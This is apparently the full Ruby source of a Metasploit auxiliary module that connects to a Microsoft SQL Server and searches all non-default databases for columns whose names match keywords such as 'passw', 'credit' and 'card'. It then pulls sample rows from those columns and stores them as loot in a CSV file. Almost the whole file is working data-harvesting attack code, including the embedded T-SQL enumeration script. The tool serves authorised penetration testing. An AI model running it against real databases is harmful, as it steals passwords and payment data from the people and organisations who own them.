1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Auxiliary
7
  include Msf::Auxiliary::Scanner
8
  include Msf::Auxiliary::Report
9
  include Msf::Exploit::Remote::MSSQL
10
  include Msf::OptionalSession::MSSQL
11

12
  def initialize(info = {})
13
    super(
14
      update_info(
15
        info,
16
        'Name' => 'Microsoft SQL Server Find and Sample Data',
17
        'Description' => %q{
18
          This script will search through all of the non-default databases
19
          on the SQL Server for columns that match the keywords defined in the TSQL KEYWORDS
20
          option. If column names are found that match the defined keywords and data is present
21
          in the associated tables, the script will select a sample of the records from each of
22
          the affected tables.  The sample size is determined by the SAMPLE_SIZE option, and results
23
          output in a CSV format.
24
        },
25
        'Author' => [
26
          'Scott Sutherland <scott.sutherland[at]netspi.com>', # Metasploit module
27
          'Robin Wood <robin[at]digininja.org>',               # IDF module which was my inspiration
28
          'humble-desser <humble.desser[at]gmail.com>', # Help on IRC
29
          'Carlos Perez <carlos_perez[at]darkoperator.com>',   # Help on IRC
30
          'hdm',                                               # Help on IRC
31
          'todb'                                               # Help on GitHub
32
        ],
33
        'License' => MSF_LICENSE,
34
        'References' => [[ 'URL', 'http://www.netspi.com/blog/author/ssutherland/' ]],
35
        'Notes' => {
36
          'Stability' => [CRASH_SAFE],
37
          'SideEffects' => [IOC_IN_LOGS],
38
          'Reliability' => []
39
        }
40
      )
41
    )
42

43
    register_options(
44
      [
45
        OptString.new('KEYWORDS', [ true, 'Keywords to search for', 'passw|credit|card']),
46
        OptInt.new('SAMPLE_SIZE', [ true, 'Number of rows to sample', 1]),
47
      ]
48
    )
49
  end
50

51
  def print_with_underline(str)
52
    print_line(str)
53
    print_line('=' * str.length)
54
  end
55

56
  def run_host(_ip)
57
    sql_statement
58
  end
59

60
  # rubocop:disable Metrics/MethodLength
61
  # # TODO: Move this SQL to a file
62
  def sql_statement
63
    # DEFINED HEADER TEXT
64
    headings = [
65
      ['Server', 'Database', 'Schema', 'Table', 'Column', 'Data Type', 'Sample Data', 'Row Count']
66
    ]
67

68
    # DEFINE SEARCH QUERY AS VARIABLE
69
    sql = "
70
    -- CHECK IF VERSION IS COMPATIBLE = > than 2000
71
    IF (SELECT SUBSTRING(CAST(SERVERPROPERTY('ProductVersion') as VARCHAR), 1,
72
    CHARINDEX('.',cast(SERVERPROPERTY('ProductVersion') as VARCHAR),1)-1)) > 0
73
    BEGIN
74

75
      -- TURN OFF ROW COUNT
76
      SET NOCOUNT ON;
77
      --------------------------------------------------
78
      -- SETUP UP SAMPLE SIZE
79
      --------------------------------------------------
80
      DECLARE @SAMPLE_COUNT varchar(800);
81
      SET @SAMPLE_COUNT = '#{datastore['SAMPLE_SIZE']}';
82

83
      --------------------------------------------------
84
      -- SETUP KEYWORDS TO SEARCH
85
      --------------------------------------------------
86
      DECLARE @KEYWORDS varchar(800);
87
      SET @KEYWORDS = '#{datastore['KEYWORDS']}|';
88

89
      --------------------------------------------------
90
      --SETUP WHERE STATEMENT CONTAINING KEYWORDS
91
      --------------------------------------------------
92
      DECLARE @SEARCH_TERMS varchar(800);
93
      SET @SEARCH_TERMS = ''; -- Leave this blank
94

95
      -- START WHILE LOOP HERE -- BEGIN TO ITERATE THROUGH KEYWORDS
96

97
        WHILE LEN(@KEYWORDS) > 0
98
          BEGIN
99
            --SET VARIABLES UP FOR PARSING PROCESS
100
            DECLARE @change int
101
            DECLARE @keyword varchar(800)
102

103
            --SET KEYWORD CHANGE TRACKER
104
            SELECT @change = CHARINDEX('|',@KEYWORDS);
105

106
            --PARSE KEYWORD
107
            SELECT @keyword = SUBSTRING(@KEYWORDS,0,@change) ;
108

109
            -- PROCESS KEYWORD AND GENERATE WHERE CLAUSE FOR IT
110
            SELECT @SEARCH_TERMS = 'LOWER(COLUMN_NAME) like ''%'+@keyword+'%'' or '+@SEARCH_TERMS
111

112
            -- REMOVE PROCESSED KEYWORD
113
            SET @KEYWORDS = SUBSTRING(@KEYWORDS,@change+1,LEN(@KEYWORDS));
114

115
          END
116
        -- REMOVE UNNEEDED
117
        SELECT @SEARCH_TERMS = SUBSTRING(@SEARCH_TERMS,0,LEN(@SEARCH_TERMS)-2);
118

119
      --------------------------------------------------
120
      -- CREATE GLOBAL TEMP TABLES
121
      --------------------------------------------------
122
      USE master;
123

124
      IF OBJECT_ID('tempdb..##mytable') IS NOT NULL DROP TABLE ##mytable;
125
      IF OBJECT_ID('tempdb..##mytable') IS NULL
126
      BEGIN
127
        CREATE TABLE ##mytable (
128
          server_name varchar(800),
129
          database_name varchar(800),
130
          table_schema varchar(800),
131
          table_name varchar(800),
132
          column_name varchar(800),
133
          column_data_type varchar(800)
134
        )
135
      END
136

137
      IF OBJECT_ID('tempdb..##mytable2') IS NOT NULL DROP TABLE ##mytable2;
138
      IF OBJECT_ID('tempdb..##mytable2') IS NULL
139
      BEGIN
140
        CREATE TABLE ##mytable2 (
141
          server_name varchar(800),
142
          database_name varchar(800),
143
          table_schema varchar(800),
144
          table_name varchar(800),
145
          column_name varchar(800),
146
          column_data_type varchar(800),
147
          column_value varchar(800),
148
          column_data_row_count varchar(800)
149
        )
150
      END
151

152
      --------------------------------------------------
153
      -- CURSOR1
154
      -- ENUMERATE COLUMNS FROM EACH DATABASE THAT
155
      -- CONTAIN KEYWORD AND WRITE THEM TO A TEMP TABLE
156
      --------------------------------------------------
157

158
      -- SETUP SOME VARIABLES FOR THE MYCURSOR1
159
      DECLARE @var1 varchar(800);
160
      DECLARE @var2 varchar(800);
161

162
      --------------------------------------------------------------------
163
      -- CHECK IF ANY NON-DEFAULT DATABASE EXIST
164
      --------------------------------------------------------------------
165
      IF (SELECT count(*)
166
      FROM master..sysdatabases
167
      WHERE name NOT IN ('master','tempdb','model','msdb')
168
      and HAS_DBACCESS(name) <> 0) <> 0
169
      BEGIN
170
        DECLARE MY_CURSOR1 CURSOR
171
        FOR
172

173
        SELECT name FROM master..sysdatabases
174
        WHERE name NOT IN ('master','tempdb','model','msdb')
175
        and HAS_DBACCESS(name) <> 0;
176

177
        OPEN MY_CURSOR1
178
        FETCH NEXT FROM MY_CURSOR1 INTO @var1
179
        WHILE @@FETCH_STATUS = 0
180
        BEGIN
181
        ---------------------------------------------------
182
        -- SEARCH FOR KEYWORDS/INSERT RESULTS INTO MYTABLE
183
        ---------------------------------------------------
184
        SET @var2 = '
185
        INSERT INTO ##mytable
186
        SELECT @@SERVERNAME as SERVER_NAME,
187
        TABLE_CATALOG as DATABASE_NAME,
188
        TABLE_SCHEMA,
189
        TABLE_NAME,
190
        COLUMN_NAME,
191
        DATA_TYPE
192
        FROM ['+@var1+'].[INFORMATION_SCHEMA].[COLUMNS] WHERE '
193

194
        --APPEND KEYWORDS TO QUERY
195
        DECLARE @fullquery varchar(800);
196
        SET @fullquery = @var2+@SEARCH_TERMS;
197

198
        EXEC(@fullquery);
199
        FETCH NEXT FROM MY_CURSOR1 INTO @var1
200

201
        END
202
        CLOSE MY_CURSOR1
203
        DEALLOCATE MY_CURSOR1
204
        -------------------------------------------------
205
        -- CURSOR2
206
        -- TAKE A X RECORD SAMPLE FROM EACH OF THE COLUMNS
207
        -- THAT MATCH THE DEFINED KEYWORDS
208
        -- NOTE: THIS WILL NOT SAMPLE EMPTY TABLES
209
        -------------------------------------------------
210

211
        IF (SELECT COUNT(*) FROM ##mytable) < 1
212
          BEGIN
213
            SELECT 'No columns where found that match the defined keywords.' as Message;
214
          END
215
        ELSE
216
          BEGIN
217
            DECLARE @var_server varchar(800)
218
            DECLARE @var_database varchar(800)
219
            DECLARE @var_table varchar(800)
220
            DECLARE @var_table_schema varchar(800)
221
            DECLARE @var_column_data_type varchar(800)
222
            DECLARE @var_column varchar(800)
223
            DECLARE @myquery varchar(800)
224
            DECLARE @var_column_data_row_count varchar(800)
225

226
            DECLARE MY_CURSOR2 CURSOR
227
            FOR
228
            SELECT server_name,database_name,table_schema,table_name,column_name,column_data_type
229
            FROM ##mytable
230

231
              OPEN MY_CURSOR2
232
              FETCH NEXT FROM MY_CURSOR2 INTO @var_server,
233
              @var_database,
234
              @var_table_schema,
235
              @var_table,
236
              @var_column,
237
              @var_column_data_type
238
              WHILE @@FETCH_STATUS = 0
239
              BEGIN
240
              ----------------------------------------------------------------------
241
              -- ADD AFFECTED SERVER/SCHEMA/TABLE/COLUMN/DATATYPE/SAMPLE DATA TO MYTABLE2
242
              ----------------------------------------------------------------------
243
              -- GET COUNT
244
              DECLARE @mycount_query as varchar(800);
245
              DECLARE @mycount as varchar(800);
246

247
              -- CREATE TEMP TABLE TO GET THE COLUMN DATA ROW COUNT
248
              IF OBJECT_ID('tempdb..#mycount') IS NOT NULL DROP TABLE #mycount
249
              CREATE TABLE #mycount(mycount varchar(800));
250

251
              -- SETUP AND EXECUTE THE COLUMN DATA ROW COUNT QUERY
252
              SET @mycount_query = 'INSERT INTO #mycount SELECT DISTINCT
253
                        COUNT('+@var_column+') FROM '+@var_database+'.
254
                        '+@var_table_schema+'.'+@var_table;
255
              EXEC(@mycount_query);
256

257
              -- SET THE COLUMN DATA ROW COUNT
258
              SELECT @mycount = mycount FROM #mycount;
259

260
              -- REMOVE TEMP TABLE
261
              IF OBJECT_ID('tempdb..#mycount') IS NOT NULL DROP TABLE #mycount
262

263
              SET @myquery = '
264
              INSERT INTO ##mytable2
265
                    (server_name,
266
                    database_name,
267
                    table_schema,
268
                    table_name,
269
                    column_name,
270
                    column_data_type,
271
                    column_value,
272
                    column_data_row_count)
273
              SELECT TOP '+@SAMPLE_COUNT+' ('''+@var_server+''') as server_name,
274
                    ('''+@var_database+''') as database_name,
275
                    ('''+@var_table_schema+''') as table_schema,
276
                    ('''+@var_table+''') as table_name,
277
                    ('''+@var_column+''') as comlumn_name,
278
                    ('''+@var_column_data_type+''') as column_data_type,
279
                    '+@var_column+','+@mycount+' as column_data_row_count
280
              FROM ['+@var_database+'].['+@var_table_schema++'].['+@var_table+']
281
              WHERE '+@var_column+' IS NOT NULL;
282
              '
283
              EXEC(@myquery);
284

285
              FETCH NEXT FROM MY_CURSOR2 INTO
286
                    @var_server,
287
                    @var_database,
288
                    @var_table_schema,
289
                    @var_table,@var_column,
290
                    @var_column_data_type
291
              END
292
            CLOSE MY_CURSOR2
293
            DEALLOCATE MY_CURSOR2
294

295
            -----------------------------------
296
            -- SELECT THE RESULTS OF THE SEARCH
297
            -----------------------------------
298
            IF (SELECT @SAMPLE_COUNT)= 1
299
              BEGIN
300
                SELECT DISTINCT cast(server_name as CHAR) as server_name,
301
                cast(database_name as char) as database_name,
302
                cast(table_schema as char) as table_schema,
303
                cast(table_name as char) as table_schema,
304
                cast(column_name as char) as column_name,
305
                cast(column_data_type as char) as column_data_type,
306
                cast(column_value as char) as column_data_sample,
307
                cast(column_data_row_count as char) as column_data_row_count FROM ##mytable2
308
              END
309
            ELSE
310
              BEGIN
311
                SELECT DISTINCT cast(server_name as CHAR) as server_name,
312
                cast(database_name as char) as database_name,
313
                cast(table_schema as char) as table_schema,
314
                cast(table_name as char) as table_schema,
315
                cast(column_name as char) as column_name,
316
                cast(column_data_type as char) as column_data_type,
317
                cast(column_value as char) as column_data_sample,
318
                cast(column_data_row_count as char) as column_data_row_count FROM ##mytable2
319
              END
320
          END
321
      -----------------------------------
322
      -- REMOVE GLOBAL TEMP TABLES
323
      -----------------------------------
324
      IF OBJECT_ID('tempdb..##mytable') IS NOT NULL DROP TABLE ##mytable;
325
      IF OBJECT_ID('tempdb..##mytable2') IS NOT NULL DROP TABLE ##mytable2;
326

327
      END
328
      ELSE
329
      BEGIN
330
        ----------------------------------------------------------------------
331
        -- RETURN ERROR MESSAGES IF THERE ARE NOT DATABASES TO ACCESS
332
        ----------------------------------------------------------------------
333
        IF (SELECT count(*) FROM master..sysdatabases
334
        WHERE name NOT IN ('master','tempdb','model','msdb')) < 1
335
          SELECT 'No non-default databases exist to search.' as Message;
336
        ELSE
337
          SELECT 'Non-default databases exist,
338
          but the current user does not have
339
          the privileges to access them.' as Message;
340
        END
341
    END
342
    else
343
    BEGIN
344
      SELECT 'This module only works on SQL Server 2005 and above.';
345
    END
346

347
    SET NOCOUNT OFF;"
348

349
    # CREATE DATABASE CONNECTION AND SUBMIT QUERY WITH ERROR HANDLING
350
    begin
351
      if session
352
        set_mssql_session(session.client)
353
      else
354
        print_line(' ')
355
        print_status("Attempting to connect to the SQL Server at #{rhost}:#{rport}...")
356
        return unless mssql_login_datastore
357

358
        print_good("Successfully connected to #{mssql_client.peerhost}:#{mssql_client.peerport}")
359
      end
360

361
      print_status('Attempting to retrieve data ...')
362
      result = mssql_query(sql, false)
363

364
      column_data = result[:rows]
365
    rescue StandardError
366
      print_error("Failed to connect to #{rhost}:#{rport}")
367
      return
368
    end
369

370
    if (column_data.count < 7)
371
      # Return error from SQL server
372
      column_data.each do |row|
373
        print_status(row.to_s.gsub('[', '').gsub(']', '').gsub('"', '').to_s)
374
      end
375
      return
376
    end
377

378
    # CREATE TABLE TO STORE SQL SERVER DATA LOOT
379
    sql_data_tbl = Rex::Text::Table.new(
380
      'Header' => 'SQL Server Data',
381
      'Indent' => 1,
382
      'Columns' => ['Server', 'Database', 'Schema', 'Table', 'Column', 'Data Type', 'Sample Data', 'Row Count']
383
    )
384

385
    # SETUP COLUMN WIDTH FOR QUERY RESULTS
386
    column_data.each do |row|
387
      0.upto(7) do |col|
388
        row[col] = row[col].strip.to_s
389
      end
390
    end
391

392
    # SETUP ROW WIDTHS
393
    widths = [0, 0, 0, 0, 0, 0, 0, 0]
394
    (column_data | headings).each do |row|
395
      0.upto(7) do |col|
396
        widths[col] = row[col].to_s.length if row[col].to_s.length > widths[col]
397
      end
398
    end
399

400
    # PRINT HEADERS
401
    print_line(' ')
402
    buffer1 = ''
403
    buffer2 = ''
404
    headings.each do |row|
405
      0.upto(7) do |col|
406
        buffer1 += row[col].ljust(widths[col] + 1)
407
        buffer2 += row[col] + ','
408
      end
409
      print_line(buffer1)
410
      buffer2 = buffer2.chomp(',') + "\n"
411
    end
412

413
    # PRINT DIVIDERS
414
    buffer1 = ''
415
    buffer2 = ''
416
    headings.each do |_row|
417
      0.upto(7) do |col|
418
        divider = '=' * widths[col] + ' '
419
        buffer1 += divider.ljust(widths[col] + 1)
420
      end
421
      print_line(buffer1)
422
    end
423

424
    # PRINT DATA
425
    buffer1 = ''
426
    buffer2 = ''
427
    print_line('')
428
    column_data.each do |row|
429
      0.upto(7) do |col|
430
        buffer1 += row[col].ljust(widths[col] + 1)
431
        buffer2 += row[col] + ','
432
      end
433
      print_line(buffer1)
434
      buffer2 = buffer2.chomp(',') + "\n"
435

436
      # WRITE QUERY OUTPUT TO TEMP REPORT TABLE
437
      sql_data_tbl << [row[0], row[1], row[2], row[3], row[4], row[5], row[6], row[7]]
438

439
      buffer1 = ''
440
      buffer2 = ''
441
      print_line(buffer1)
442
    end
443
    disconnect
444

445
    this_service = nil
446
    if framework.db && framework.db.active
447
      this_service = report_service(
448
        host: mssql_client.peerhost,
449
        port: mssql_client.peerport,
450
        name: 'mssql',
451
        proto: 'tcp'
452
      )
453
    end
454

455
    # CONVERT TABLE TO CSV AND WRITE TO FILE
456
    filename = "#{mssql_client.peerhost}-#{mssql_client.peerport}_sqlserver_query_results.csv"
457
    path = store_loot('mssql.data', 'text/plain', mssql_client.peerhost, sql_data_tbl.to_csv, filename, 'SQL Server query results', this_service)
458
    print_good("Query results have been saved to: #{path}")
459
  end
460
  # rubocop:enable Metrics/MethodLength
461
end
462

463